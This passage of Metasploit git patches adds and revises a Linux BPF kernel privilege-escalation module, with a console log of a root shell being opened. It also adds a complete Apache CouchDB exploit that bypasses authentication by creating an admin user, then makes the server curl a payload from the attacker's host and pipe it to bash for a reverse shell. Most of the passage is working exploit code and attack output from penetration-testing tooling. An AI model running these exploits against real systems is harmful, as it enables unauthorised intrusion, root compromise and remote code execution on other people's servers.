compiling exploit on system') payload_filename = rand_text_alpha(8) payload_path = "#{datastore['WritableDir']}/#{payload_filename}" @@ -376,6 +370,16 @@ class MetasploitModule < Msf::Exploit::Local "system(\"#{payload_path}\");") #launch our payload, and do it in a return to not freeze the executable print_status('Writing files to target') cmd_exec("cd #{datastore['WritableDir']}") + else + vprint_status('Dropping pre-compiled exploit on system') + compiled_path = ::File.join( Msf::Config.data_directory, 'exploits', 'cve-2017-16995', 'exploit.out') + fd = ::File.open( compiled_path, "rb") + c_code = fd.read(fd.stat.size) + fd.close + + # use the variable names hard coded in the compiled versions + payload_filename = 'JDQDHtEG' + payload_path = '/tmp/JDQDHtEG' end upload_and_compile(filename, path, c_code, compile ? "gcc -o #{filename} #{filename}.c" : nil) upload_and_compile(payload_filename, payload_path, generate_payload_exe) From 1371684df77febf9f568b3269da4649e37a4cb36 Mon Sep 17 00:00:00 2001 From: h00die Date: Sun, 25 Mar 2018 07:58:51 -0400 Subject: [PATCH 004/217] add linux mint to docs --- .../local/bpf_sign_extension_priv_esc.md | 55 ++++++++++++++++++- .../local/bpf_sign_extension_priv_esc.rb | 2 +- 2 files changed, 55 insertions(+), 2 deletions(-) diff --git a/documentation/modules/exploit/linux/local/bpf_sign_extension_priv_esc.md b/documentation/modules/exploit/linux/local/bpf_sign_extension_priv_esc.md index 1bb9c6150f..f1c03c9cdb 100644 --- a/documentation/modules/exploit/linux/local/bpf_sign_extension_priv_esc.md +++ b/documentation/modules/exploit/linux/local/bpf_sign_extension_priv_esc.md @@ -3,11 +3,12 @@ This module exploits the Berkeley Packet Filter in the Linux kernel prior to 4.13.0, which contains a vulnerability where it may improperly perform sign extentension. This can be utilized to priv escalate. However, this module's offsets and -other parameters have only been set and tested against Ubuntu 16.04. +other parameters have only been set and tested against the 4.4.0-116 kernel. This module has been successfully tested on: * Ubuntu 16.04 with the 4.4.0-116 kernel + * Linux Mint 18 with the 4.4.0-116-generic kernel ## Verification Steps @@ -138,3 +139,55 @@ It is possible to force pre-compiled binaries, in a scenario where `build-essent BuildTuple : x86_64-linux-musl Meterpreter : x64/linux ``` +### Linux Mint 18 + + ``` + msf5 exploit(multi/handler) > use exploit/linux/local/bpf_sign_extension_priv_esc + msf5 exploit(linux/local/bpf_sign_extension_priv_esc) > set verbose true + verbose => true + msf5 exploit(linux/local/bpf_sign_extension_priv_esc) > set session 1 + session => 1 + msf5 exploit(linux/local/bpf_sign_extension_priv_esc) > check + + [!] SESSION may not be compatible with this module. + [+] Kernel confirmed vulnerable + [*] The target appears to be vulnerable. + msf5 exploit(linux/local/bpf_sign_extension_priv_esc) > set lhost 172.16.191.188 + lhost => 172.16.191.188 + msf5 exploit(linux/local/bpf_sign_extension_priv_esc) > run + + [!] SESSION may not be compatible with this module. + [*] Started reverse TCP handler on 172.16.191.188:4444 + [+] Kernel confirmed vulnerable + [+] gcc is installed + [*] Live compiling exploit on system + [*] Writing files to target + [*] Writing UVQYvBTJ to /tmp/UVQYvBTJ.c + [*] Max line length is 65537 + [*] Writing 7773 bytes in 1 chunks of 26765 bytes (octal-encoded), using printf + [*] Writing ljJApCaK to /tmp/ljJApCaK + [*] Max line length is 65537 + [*] Writing 283 bytes in 1 chunks of 845 bytes (octal-encoded), using printf + [*] Starting execution of priv esc. + [*] Transmitting intermediate stager...(126 bytes) + [*] Sending stage (812100 bytes) to 172.16.191.207 + [*] task_struct = ffff88003ce84600 + [*] uidptr = ffff88003cc46f04 + [*] spawning root shell + [*] Meterpreter session 2 opened (172.16.191.188:4444 -> 172.16.191.207:48276) at 2018-03-24 22:46:58 -0400 + [+] Deleted /tmp/UVQYvBTJ.c + [+] Deleted /tmp/UVQYvBTJ + [+] Deleted /tmp/ljJApCaK + [!] This exploit may require manual cleanup of '/tmp/UVQYvBTJ.c' on the target + [!] This exploit may require manual cleanup of '/tmp/UVQYvBTJ' on the target + [!] This exploit may require manual cleanup of '/tmp/ljJApCaK' on the target + + meterpreter > getuid + Server username: uid=0, gid=0, euid=0, egid=0 + meterpreter > sysinfo + Computer : 172.16.191.207 + OS : LinuxMint 18 (Linux 4.4.0-116-generic) + Architecture : x64 + BuildTuple : x86_64-linux-musl + Meterpreter : x64/linux + ``` diff --git a/modules/exploits/linux/local/bpf_sign_extension_priv_esc.rb b/modules/exploits/linux/local/bpf_sign_extension_priv_esc.rb index cd7d375582..f66f686b01 100644 --- a/modules/exploits/linux/local/bpf_sign_extension_priv_esc.rb +++ b/modules/exploits/linux/local/bpf_sign_extension_priv_esc.rb @@ -19,7 +19,7 @@ class MetasploitModule < Msf::Exploit::Local which contains a vulnerability where it may improperly perform sign extentension. This can be utilized to priv escalate, this module has been tested on Ubuntu 16.04 with the 4.4.0-116 - kernel. + kernel, and Linux Mint 18 with the 4.4.0-116-generic kernel. }, 'License' => MSF_LICENSE, 'Author' => From 8b220e3bad99ab2d454dae4811ca89f426e65163 Mon Sep 17 00:00:00 2001 From: h00die Date: Mon, 26 Mar 2018 19:53:35 -0400 Subject: [PATCH 005/217] minor formatting --- modules/exploits/linux/local/bpf_sign_extension_priv_esc.rb | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/modules/exploits/linux/local/bpf_sign_extension_priv_esc.rb b/modules/exploits/linux/local/bpf_sign_extension_priv_esc.rb index f66f686b01..fa01cab577 100644 --- a/modules/exploits/linux/local/bpf_sign_extension_priv_esc.rb +++ b/modules/exploits/linux/local/bpf_sign_extension_priv_esc.rb @@ -17,7 +17,7 @@ class MetasploitModule < Msf::Exploit::Local 'Description' => %q{ Linux kernel prior to 4.13.0 utilizes the Berkeley Packet Filter which contains a vulnerability where it may improperly perform - sign extentension. This can be utilized to priv escalate, + sign extension. This can be utilized to priv escalate, this module has been tested on Ubuntu 16.04 with the 4.4.0-116 kernel, and Linux Mint 18 with the 4.4.0-116-generic kernel. }, @@ -82,7 +82,7 @@ class MetasploitModule < Msf::Exploit::Local write_file("#{file_path}.c", file_content) register_file_for_cleanup("#{file_path}.c") output = cmd_exec(compile) - if output != '' + unless output.blank? print_error(output) fail_with(Failure::Unknown, "#{filename} at #{file_path}.c failed to compile") end @@ -92,7 +92,7 @@ class MetasploitModule < Msf::Exploit::Local end - if check != CheckCode::Appears + unless check == CheckCode::Appears fail_with(Failure::NotVulnerable, 'Target not vulnerable! punt!') end From 611a3dc19c174c9eede7b73d45709a2e5a80aa25 Mon Sep 17 00:00:00 2001 From: Green-m Date: Tue, 27 Mar 2018 05:43:03 -0400 Subject: [PATCH 006/217] Add exploit module apache_couchdb_cmd_exec --- .../linux/http/apache_couchdb_cmd_exec.rb | 371 ++++++++++++++++++ 1 file changed, 371 insertions(+) create mode 100644 modules/exploits/linux/http/apache_couchdb_cmd_exec.rb diff --git a/modules/exploits/linux/http/apache_couchdb_cmd_exec.rb b/modules/exploits/linux/http/apache_couchdb_cmd_exec.rb new file mode 100644 index 0000000000..232b3ccd3f --- /dev/null +++ b/modules/exploits/linux/http/apache_couchdb_cmd_exec.rb @@ -0,0 +1,371 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::Remote::HttpServer + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Apache Couchdb Arbitrary Command Execution', + 'Description' => %q{ + CouchDB administrative users can configure the database server via HTTP(S). + Some of the configuration options include paths for operating system-level binaries that are subsequently launched by CouchDB. + This allows an admin user in Apache CouchDB before 1.7.0 and 2.x before 2.1.1 to execute arbitrary shell commands as the CouchDB user, + including downloading and executing scripts from the public internet. + }, + 'Author' => [ + 'Max Justicz', # CVE-2017-12635 Vulnerability discovery + 'Joan Touzet', # CVE-2017-12636 Vulnerability discovery + 'Green-m ' # Metasploit module + ], + 'References' => [ + [ 'CVE', '2017-12636'], + [ 'CVE', '2017-12635'], + [ 'URL', 'https://justi.cz/security/2017/11/14/couchdb-rce-npm.html'], + [ 'URL', 'http://docs.couchdb.org/en/latest/cve/2017-12636.html'], + [ 'URL', 'https://lists.apache.org/thread.html/6c405bf3f8358e6314076be9f48c89a2e0ddf00539906291ebdf0c67@%3Cdev.couchdb.apache.org%3E'] + ], + 'DisclosureDate' => 'Apr 6 2016', + 'License' => MSF_LICENSE, + 'Platform' => 'unix', + 'Arch' => ARCH_CMD, + 'Privileged' => false, + 'Payload' => + { + 'Space' => 4096, # Has into account Apache request length and base64 ratio + 'DisableNops' => true, + 'Compat' => + { + 'PayloadType' => 'cmd cmd_bash', + 'RequiredCmd' => 'python gawk bash-tcp perl telnet netcat ruby openssl', + } + }, + 'DefaultOptions' => { + 'PAYLOAD' => 'cmd/unix/reverse_bash' + }, + 'Targets' => [ + ['Automatic', {} ] + ], + 'DefaultTarget' => 0 + )) + + register_options([ + Opt::RPORT(5984), + OptString.new('URIPATH', [false, 'The URI to use for this exploit to download and execute. (default is random)']), + OptString.new('HttpUsername', [false, 'The username to login as']), + OptString.new('HttpPassword', [false, 'The password to login with']) + ]) + end + + def check + + version = get_version + + case + when !version + return Exploit::CheckCode::Unknown + when version < '1.7.0' + return Exploit::CheckCode::Appears + when version.between?('2.0.0','2.1.0') + return Exploit::CheckCode::Appears + else + return Exploit::CheckCode::Safe + end + + end + + def exploit + @exploit_flag = false + version = get_version + + vprint_good("#{peer} - Authority bypass successful") if auth_bypass + + start_http_server + + (1..3).each do |i| + print_status("#{peer} - The #{i} time to exploit") + send_payload(version) + Rex::sleep(3) + # break if we get the shell + break if @exploit_flag + end + end + + # CVE-2017-12635 + # The JSON parser differences result in behaviour that if two 'roles' keys are available in the JSON, + # the second one will be used for authorising the document write, but the first 'roles' key is used for subsequent authorization + # for the newly created user. + def auth_bypass + + username = datastore['HttpUsername'] || Rex::Text.rand_text_alpha_lower(rand(8) + 4) + password = datastore['HttpPassword'] || Rex::Text.rand_text_alpha_lower(rand(8) + 4) + @auth = basic_auth(username, password) + + res = send_request_cgi( + 'uri' => normalize_uri(target_uri.path, "/_users/org.couchdb.user:#{username}"), + 'method' => 'PUT', + 'ctype' => 'application/json', + 'data' => %Q{{"type": "user","name": "#{username}","roles": ["_admin"],"roles": [],"password": "#{password}"}} + ) + + if res && res.code == 200 && res.get_json_document['ok'] + return true + else + return false + end + + end + + def get_version + version = nil + + begin + res = send_request_cgi( + 'uri' => normalize_uri(target_uri.path), + 'method' => 'GET', + 'authorization' => @auth + ) + + temp = res.get_json_document if res + + rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, Rex::ConnectionTimeout => e + fail_with(Failure::Unreachable, "#{peer} - Connection failed") + return version + + rescue JSON::ParserError + print_warning("#{peer} - Cannot parse the response, is it CouchDB?") + return version + end + + unless res + print_bad("#{peer} - No response, check if it is CouchDB. ") + fail_with(Failure::UnexpectedReply, "#{peer} - No response, check if it is CouchDB.") + end + + if res && res.code == 401 + print_bad("#{peer} - Authentication required.") + fail_with(Failure::NoAccess, "#{peer} - Authentication required.") + end + + if res && res.code == 200 + if temp['version'] + version = temp['version'] + else + vprint_warning("#{peer} - Version not found") + end + end + + version + + end + + def send_payload(version) + vprint_status("#{peer} - version is #{version}") if version + + case + when version < '1.7.0' + payload1 + when version.between?('2.0.0','2.1.0') + payload2 + when version >= '1.7.0' || version > '2.1.0' + fail_with(Failure::NotVulnerable, "#{peer} - The target is not vulnerable.") + else + # Version not found, try randomly payload + vprint_warning("#{peer} - Cannot retrive the version, exploiting randomly...") + send([:payload1,:payload2].sample) + + end + + end + + # Exploit with multi requests + # payload1 is for the version of couchdb below 1.7.0 + def payload1 + + rand_cmd1 = Rex::Text.rand_text_alpha_lower(rand(8) + 4) + rand_cmd2 = Rex::Text.rand_text_alpha_lower(rand(8) + 4) + rand_db = Rex::Text.rand_text_alpha_lower(rand(8) + 4) + rand_doc = Rex::Text.rand_text_alpha_lower(rand(8) + 4) + rand_hex = Rex::Text.rand_text_hex(32) + rand_file = "/tmp/" + Rex::Text.rand_text_alpha_lower(rand(8) + 8) + @file_to_clean = rand_file + + res = send_request_cgi( + 'uri' => normalize_uri(target_uri.path, "/_config/query_servers/#{rand_cmd1}"), + 'method' => 'PUT', + 'authorization' => @auth, + 'data' => %Q{"curl #{@service_url} > #{rand_file}"} + + ) + + res = send_request_cgi( + 'uri' => normalize_uri(target_uri.path, "/#{rand_db}"), + 'method' => 'PUT', + 'authorization' => @auth + ) + + res = send_request_cgi( + 'uri' => normalize_uri(target_uri.path, "/#{rand_db}/#{rand_doc}"), + 'method' => 'PUT', + 'authorization' => @auth, + 'data' => %Q{{"_id": "#{rand_hex}"}} + ) + + res = send_request_cgi( + 'uri' => normalize_uri(target_uri.path, "/#{rand_db}/_temp_view?limit=20"), + 'method' => 'POST', + 'authorization' => @auth, + 'ctype' => 'application/json', + 'data' => %Q{{"language":"#{rand_cmd1}","map":""}} + ) + + res = send_request_cgi( + 'uri' => normalize_uri(target_uri.path, "/_config/query_servers/#{rand_cmd2}"), + 'method' => 'PUT', + 'authorization' => @auth, + 'data' => %Q{"cat #{rand_file}|bash"} + ) + + res = send_request_cgi( + 'uri' => normalize_uri(target_uri.path, "/#{rand_db}/_temp_view?limit=20"), + 'method' => 'POST', + 'authorization' => @auth, + 'ctype' => 'application/json', + 'data' => %Q{{"language":"#{rand_cmd2}","map":""}} + ) + end + + # payload2 is for the version of couchdb below 2.1.1 + def payload2 + + rand_cmd1 = Rex::Text.rand_text_alpha_lower(rand(8) + 4) + rand_cmd2 = Rex::Text.rand_text_alpha_lower(rand(8) + 4) + rand_db = Rex::Text.rand_text_alpha_lower(rand(8) + 4) + rand_doc = Rex::Text.rand_text_alpha_lower(rand(8) + 4) + rand_tmp = Rex::Text.rand_text_alpha_lower(rand(8) + 4) + rand_hex = Rex::Text.rand_text_hex(32) + rand_file = "/tmp/" + Rex::Text.rand_text_alpha_lower(rand(8) + 8) + + @file_to_clean = rand_file + + res = send_request_cgi( + 'uri' => normalize_uri(target_uri.path, "/_membership"), + 'method' => 'GET', + 'authorization' => @auth + ) + node = res.get_json_document['all_nodes'][0] + + + res = send_request_cgi( + 'uri' => normalize_uri(target_uri.path, "/_node/#{node}/_config/query_servers/#{rand_cmd1}"), + 'method' => 'PUT', + 'authorization' => @auth, + 'data' => %Q{"curl #{@service_url} > #{rand_file}"} + + ) + + res = send_request_cgi( + 'uri' => normalize_uri(target_uri.path, "/#{rand_db}"), + 'method' => 'PUT', + 'authorization' => @auth + ) + + res = send_request_cgi( + 'uri' => normalize_uri(target_uri.path, "/#{rand_db}/#{rand_doc}"), + 'method' => 'PUT', + 'authorization' => @auth, + 'data' => %Q{{"_id": "#{rand_hex}"}} + ) + + res = send_request_cgi( + 'uri' => normalize_uri(target_uri.path, "/#{rand_db}/_design/#{rand_tmp}"), + 'method' => 'PUT', + 'authorization' => @auth, + 'ctype' => 'application/json', + 'data' => %Q{{"_id":"_design/#{rand_tmp}","views":{"#{rand_db}":{"map":""} },"language":"#{rand_cmd1}"}} + ) + + res = send_request_cgi( + 'uri' => normalize_uri(target_uri.path, "/_node/#{node}/_config/query_servers/#{rand_cmd2}"), + 'method' => 'PUT', + 'authorization' => @auth, + 'data' => %Q{"cat #{rand_file}|bash"} + + ) + + res = send_request_cgi( + 'uri' => normalize_uri(target_uri.path, "/#{rand_db}/_design/#{rand_tmp}"), + 'method' => 'PUT', + 'authorization' => @auth, + 'ctype' => 'application/json', + 'data' => %Q{{"_id":"_design/#{rand_tmp}","views":{"#{rand_db}":{"map":""} },"language":"#{rand_cmd2}"}} + ) + end + + def on_request_uri(cli, request) + if (not @pl) + print_error("#{rhost}:#{rport} - A request came in, but the payload wasn't ready yet!") + return + end + + vprint_status("request headers is #{request.headers['User-Agent']}") if request.headers['User-Agent'] + + if request.headers['User-Agent'] !~ /curl/ + print_status("Sending 404 for User-Agent #{request.headers['User-Agent']}") + send_not_found(cli) + return + end + + print_status("#{rhost}:#{rport} - Sending the payload to the server...") + send_response(cli, @pl) + + end + + def start_http_server + @pl = payload.encoded + + resource_uri = datastore['URIPATH'] || random_uri + if (datastore['SRVHOST'] == "0.0.0.0" or datastore['SRVHOST'] == "::") + srv_host = datastore['URIHOST'] || Rex::Socket.source_address(rhost) + else + srv_host = datastore['SRVHOST'] + end + + # do not use SSL for the attacking web server + if datastore['SSL'] + ssl_restore = true + datastore['SSL'] = false + end + + @service_url = "http://#{srv_host}:#{datastore['SRVPORT']}/#{resource_uri}" + service_url_payload = srv_host + resource_uri + vprint_status("#{rhost}:#{rport} - Starting up our web service on #{@service_url} ...") + start_service({'Uri' => { + 'Proc' => Proc.new { |cli, req| + on_request_uri(cli, req) + }, + 'Path' => resource_uri + }}) + datastore['SSL'] = true if ssl_restore + connect + end + + # mark the exploit successful and clean temp file created during exploiting + def on_new_session(client) + # mark flag be true to stop exploit. + @exploit_flag = true + vprint_status("Cleaning temp file #{@file_to_clean}") + begin + client.shell_command_token("rm #{@file_to_clean}") + vprint_good("Cleaned temp file successful.") + rescue + print_warning("Clean the temp file #{@file_to_clean} manually.") + end + end + +end From 6a45e0299bc2556434c03d33ea6f8323a22f4606 Mon Sep 17 00:00:00 2001 From: Green-m Date: Thu, 29 Mar 2018 02:40:51 -0400 Subject: [PATCH 007/217] Add document of exploit module apache_couchdb_cmd_exec --- .../linux/http/apache_couchdb_cmd_exec.md | 111 ++++++++++++++++++ 1 file changed, 111 insertions(+) create mode 100644 documentation/modules/exploit/linux/http/apache_couchdb_cmd_exec.md diff --git a/documentation/modules/exploit/linux/http/apache_couchdb_cmd_exec.md b/documentation/modules/exploit/linux/http/apache_couchdb_cmd_exec.md new file mode 100644 index 0000000000..b90f555493 --- /dev/null +++ b/documentation/modules/exploit/linux/http/apache_couchdb_cmd_exec.md @@ -0,0 +1,111 @@ +## Description + +CouchDB administrative users can configure the database server via HTTP(S).Some of the configuration options include paths for operating system-level binaries that are subsequently launched by CouchDB.This allows an admin user in Apache CouchDB before 1.7.0 and 2.x before 2.1.1 to execute arbitrary shell commands as the CouchDB user,including downloading and executing scripts from the public internet. + +## Vulnerable Application + +**Vulnerable Application Link** + +- docker + +Couchdb 2.x: https://github.com/vulhub/vulhub/tree/master/couchdb/CVE-2017-12635 +Couchdb 1.x: https://github.com/vulhub/vulhub/tree/master/couchdb/CVE-2017-12636 + + +## Vulnerable Application Installation Setup. + +Change dictory to CVE-2017-1263X, and run `docker-compose up -d` + + +## Verification Steps + + Example steps in this format (is also in the PR): + + 1. Install the application + 2. Start msfconsole + 3. Do: ```use modules/exploits/linux/http/apache_couchdb_cmd_exec.rb``` + 4. Do: ``check`` + +``[*] 192.168.77.139:5984 The target appears to be vulnerable.`` + + 5. Do: ``set srvhost `` + 6. Do: ``set srvport `` + 7. Do: ``set lhost `` + 8. Do: ``set lport `` + 9. Do: ``exploit`` + 10. You should get a shell. + +## Options + +- URIPATH + +``URIPATH`` by default is random, you can change it if you want. + +- HttpUsername, HttpPassword + +Sometimes it requires authentication, set these options to authorize. + + +## Scenarios + +TESTED AGAINST LINUX + +``` +msf5 > use modules/exploits/linux/http/apache_couchdb_cmd_exec.rb +msf5 exploit(linux/http/apache_couchdb_cmd_exec) > show options + +Module options (exploit/linux/http/apache_couchdb_cmd_exec): + + Name Current Setting Required Description + ---- --------------- -------- ----------- + HttpPassword no The password to login with + HttpUsername no The username to login as + Proxies no A proxy chain of format type:host:port[,type:host:port][...] + RHOST yes The target address + RPORT 5984 yes The target port (TCP) + SRVHOST 0.0.0.0 yes The local host to listen on. This must be an address on the local machine or 0.0.0.0 + SRVPORT 8080 yes The local port to listen on. + SSL false no Negotiate SSL/TLS for outgoing connections + SSLCert no Path to a custom SSL certificate (default is randomly generated) + URIPATH no The URI to use for this exploit to download and execute. (default is random) + VHOST no HTTP server virtual host + + +Payload options (cmd/unix/reverse_bash): + + Name Current Setting Required Description + ---- --------------- -------- ----------- + LHOST yes The listen address + LPORT 4444 yes The listen port + + +Exploit target: + + Id Name + -- ---- + 0 Automatic + + +msf5 exploit(linux/http/apache_couchdb_cmd_exec) > set rhost 192.168.77.139 +rhost => 192.168.77.139 +msf5 exploit(linux/http/apache_couchdb_cmd_exec) > check +[*] 192.168.77.139:5984 The target appears to be vulnerable. +msf5 exploit(linux/http/apache_couchdb_cmd_exec) > set srvhost 192.168.77.139 +srvhost => 192.168.77.139 +msf5 exploit(linux/http/apache_couchdb_cmd_exec) > set srvport 8888 +srvport => 8888 +msf5 exploit(linux/http/apache_couchdb_cmd_exec) > set lhost 192.168.77.139 +lhost => 192.168.77.139 +msf5 exploit(linux/http/apache_couchdb_cmd_exec) > exploit +[*] Exploit running as background job 0. +[*] Started reverse TCP handler on 192.168.77.139:4444 +msf5 exploit(linux/http/apache_couchdb_cmd_exec) > [*] Using URL: http://192.168.77.139:8888/rXrdf2 +[*] 192.168.77.139:5984 - The 1 time to exploit +[*] 192.168.77.139:5984 - Sending the payload to the server... +[*] Command shell session 1 opened (192.168.77.139:4444 -> 172.18.0.2:58348) at 2018-03-27 06:18:21 -0400 +[*] Server stopped. +msf5 exploit(linux/http/apache_couchdb_cmd_exec) > sessions -i 1 +[*] Starting interaction with 1... +id +uid=1000(couchdb) gid=999(couchdb) groups=999(couchdb) +``` From bbf6d072eab96692e12d263f3285980587424b7b Mon Sep 17 00:00:00 2001 From: Green-m Date: Tue, 3 Apr 2018 22:47:41 -0400 Subject: [PATCH 008/217] Fix some errors and bugs. --- .../linux/http/apache_couchdb_cmd_exec.rb | 45 ++++++++----------- 1 file changed, 18 insertions(+), 27 deletions(-) diff --git a/modules/exploits/linux/http/apache_couchdb_cmd_exec.rb b/modules/exploits/linux/http/apache_couchdb_cmd_exec.rb index 232b3ccd3f..945a86b818 100644 --- a/modules/exploits/linux/http/apache_couchdb_cmd_exec.rb +++ b/modules/exploits/linux/http/apache_couchdb_cmd_exec.rb @@ -38,12 +38,7 @@ class MetasploitModule < Msf::Exploit::Remote 'Payload' => { 'Space' => 4096, # Has into account Apache request length and base64 ratio - 'DisableNops' => true, - 'Compat' => - { - 'PayloadType' => 'cmd cmd_bash', - 'RequiredCmd' => 'python gawk bash-tcp perl telnet netcat ruby openssl', - } + 'DisableNops' => true }, 'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_bash' @@ -83,14 +78,14 @@ class MetasploitModule < Msf::Exploit::Remote @exploit_flag = false version = get_version - vprint_good("#{peer} - Authority bypass successful") if auth_bypass + vprint_good("#{peer} - Authorization bypass successful") if auth_bypass start_http_server (1..3).each do |i| print_status("#{peer} - The #{i} time to exploit") send_payload(version) - Rex::sleep(3) + Rex.sleep(3) # break if we get the shell break if @exploit_flag end @@ -102,8 +97,8 @@ class MetasploitModule < Msf::Exploit::Remote # for the newly created user. def auth_bypass - username = datastore['HttpUsername'] || Rex::Text.rand_text_alpha_lower(rand(8) + 4) - password = datastore['HttpPassword'] || Rex::Text.rand_text_alpha_lower(rand(8) + 4) + username = datastore['HttpUsername'] || Rex::Text.rand_text_alpha_lower(4..12) + password = datastore['HttpPassword'] || Rex::Text.rand_text_alpha_lower(4..12) @auth = basic_auth(username, password) res = send_request_cgi( @@ -133,13 +128,9 @@ class MetasploitModule < Msf::Exploit::Remote temp = res.get_json_document if res - rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, Rex::ConnectionTimeout => e + rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, Rex::ConnectionTimeout, Rex::ConnectionError => e fail_with(Failure::Unreachable, "#{peer} - Connection failed") return version - - rescue JSON::ParserError - print_warning("#{peer} - Cannot parse the response, is it CouchDB?") - return version end unless res @@ -187,12 +178,12 @@ class MetasploitModule < Msf::Exploit::Remote # payload1 is for the version of couchdb below 1.7.0 def payload1 - rand_cmd1 = Rex::Text.rand_text_alpha_lower(rand(8) + 4) - rand_cmd2 = Rex::Text.rand_text_alpha_lower(rand(8) + 4) - rand_db = Rex::Text.rand_text_alpha_lower(rand(8) + 4) - rand_doc = Rex::Text.rand_text_alpha_lower(rand(8) + 4) + rand_cmd1 = Rex::Text.rand_text_alpha_lower(4..12) + rand_cmd2 = Rex::Text.rand_text_alpha_lower(4..12) + rand_db = Rex::Text.rand_text_alpha_lower(4..12) + rand_doc = Rex::Text.rand_text_alpha_lower(4..12) rand_hex = Rex::Text.rand_text_hex(32) - rand_file = "/tmp/" + Rex::Text.rand_text_alpha_lower(rand(8) + 8) + rand_file = "/tmp/" + Rex::Text.rand_text_alpha_lower(8..16) @file_to_clean = rand_file res = send_request_cgi( @@ -243,13 +234,13 @@ class MetasploitModule < Msf::Exploit::Remote # payload2 is for the version of couchdb below 2.1.1 def payload2 - rand_cmd1 = Rex::Text.rand_text_alpha_lower(rand(8) + 4) - rand_cmd2 = Rex::Text.rand_text_alpha_lower(rand(8) + 4) - rand_db = Rex::Text.rand_text_alpha_lower(rand(8) + 4) - rand_doc = Rex::Text.rand_text_alpha_lower(rand(8) + 4) - rand_tmp = Rex::Text.rand_text_alpha_lower(rand(8) + 4) + rand_cmd1 = Rex::Text.rand_text_alpha_lower(4..12) + rand_cmd2 = Rex::Text.rand_text_alpha_lower(4..12) + rand_db = Rex::Text.rand_text_alpha_lower(4..12) + rand_doc = Rex::Text.rand_text_alpha_lower(4..12) + rand_tmp = Rex::Text.rand_text_alpha_lower(4..12) rand_hex = Rex::Text.rand_text_hex(32) - rand_file = "/tmp/" + Rex::Text.rand_text_alpha_lower(rand(8) + 8) + rand_file = "/tmp/" + Rex::Text.rand_text_alpha_lower(8..16) @file_to_clean = rand_file @@ -364,7 +355,7 @@ class MetasploitModule < Msf::Exploit::Remote client.shell_command_token("rm #{@file_to_clean}") vprint_good("Cleaned temp file successful.") rescue - print_warning("Clean the temp file #{@file_to_clean} manually.") + print_warning("Need to clean the temp file #{@file_to_clean} manually.") end end From 2472bfdfdc1000e49d7f5ed0ef654a4889c4ad19 Mon Sep 17 00:00:00 2001 From: Green-m Date: Tue, 3 Apr 2018 23:05:08 -0400 Subject: [PATCH 009/217] Fix rand_text_alpha_lower problem. --- .../linux/http/apache_couchdb_cmd_exec.rb | 26 +++++++++---------- 1 file changed, 13 insertions(+), 13 deletions(-) diff --git a/modules/exploits/linux/http/apache_couchdb_cmd_exec.rb b/modules/exploits/linux/http/apache_couchdb_cmd_exec.rb index 945a86b818..ca25a4ab3c 100644 --- a/modules/exploits/linux/http/apache_couchdb_cmd_exec.rb +++ b/modules/exploits/linux/http/apache_couchdb_cmd_exec.rb @@ -97,8 +97,8 @@ class MetasploitModule < Msf::Exploit::Remote # for the newly created user. def auth_bypass - username = datastore['HttpUsername'] || Rex::Text.rand_text_alpha_lower(4..12) - password = datastore['HttpPassword'] || Rex::Text.rand_text_alpha_lower(4..12) + username = datastore['HttpUsername'] || Rex::Text.rand_text_alpha_lower(rand(8) + 4) + password = datastore['HttpPassword'] || Rex::Text.rand_text_alpha_lower(rand(8) + 4) @auth = basic_auth(username, password) res = send_request_cgi( @@ -178,12 +178,12 @@ class MetasploitModule < Msf::Exploit::Remote # payload1 is for the version of couchdb below 1.7.0 def payload1 - rand_cmd1 = Rex::Text.rand_text_alpha_lower(4..12) - rand_cmd2 = Rex::Text.rand_text_alpha_lower(4..12) - rand_db = Rex::Text.rand_text_alpha_lower(4..12) - rand_doc = Rex::Text.rand_text_alpha_lower(4..12) + rand_cmd1 = Rex::Text.rand_text_alpha_lower(rand(8) + 4) + rand_cmd2 = Rex::Text.rand_text_alpha_lower(rand(8) + 4) + rand_db = Rex::Text.rand_text_alpha_lower(rand(8) + 4) + rand_doc = Rex::Text.rand_text_alpha_lower(rand(8) + 4) rand_hex = Rex::Text.rand_text_hex(32) - rand_file = "/tmp/" + Rex::Text.rand_text_alpha_lower(8..16) + rand_file = "/tmp/" + Rex::Text.rand_text_alpha_lower(rand(8) + 8) @file_to_clean = rand_file res = send_request_cgi( @@ -234,13 +234,13 @@ class MetasploitModule < Msf::Exploit::Remote # payload2 is for the version of couchdb below 2.1.1 def payload2 - rand_cmd1 = Rex::Text.rand_text_alpha_lower(4..12) - rand_cmd2 = Rex::Text.rand_text_alpha_lower(4..12) - rand_db = Rex::Text.rand_text_alpha_lower(4..12) - rand_doc = Rex::Text.rand_text_alpha_lower(4..12) - rand_tmp = Rex::Text.rand_text_alpha_lower(4..12) + rand_cmd1 = Rex::Text.rand_text_alpha_lower(rand(8) + 4) + rand_cmd2 = Rex::Text.rand_text_alpha_lower(rand(8) + 4) + rand_db = Rex::Text.rand_text_alpha_lower(rand(8) + 4) + rand_doc = Rex::Text.rand_text_alpha_lower(rand(8) + 4) + rand_tmp = Rex::Text.rand_text_alpha_lower(rand(8) + 4) rand_hex = Rex::Text.rand_text_hex(32) - rand_file = "/tmp/" + Rex::Text.rand_text_alpha_lower(8..16) + rand_file = "/tmp/" + Rex::Text.rand_text_alpha_lower(rand(8) + 8) @file_to_clean = rand_file From 388927b9333362979e15a748171894ca6a88c028 Mon Sep 17 00:00:00 2001 From: Green-m Date: Wed, 4 Apr 2018 00:08:32 -0400 Subject: [PATCH 010/217] Add advanced option Attempts to control exploit times --- .../linux/http/apache_couchdb_cmd_exec.rb | 18 ++++++++++++++---- 1 file changed, 14 insertions(+), 4 deletions(-) diff --git a/modules/exploits/linux/http/apache_couchdb_cmd_exec.rb b/modules/exploits/linux/http/apache_couchdb_cmd_exec.rb index ca25a4ab3c..49878801f3 100644 --- a/modules/exploits/linux/http/apache_couchdb_cmd_exec.rb +++ b/modules/exploits/linux/http/apache_couchdb_cmd_exec.rb @@ -55,6 +55,10 @@ class MetasploitModule < Msf::Exploit::Remote OptString.new('HttpUsername', [false, 'The username to login as']), OptString.new('HttpPassword', [false, 'The password to login with']) ]) + 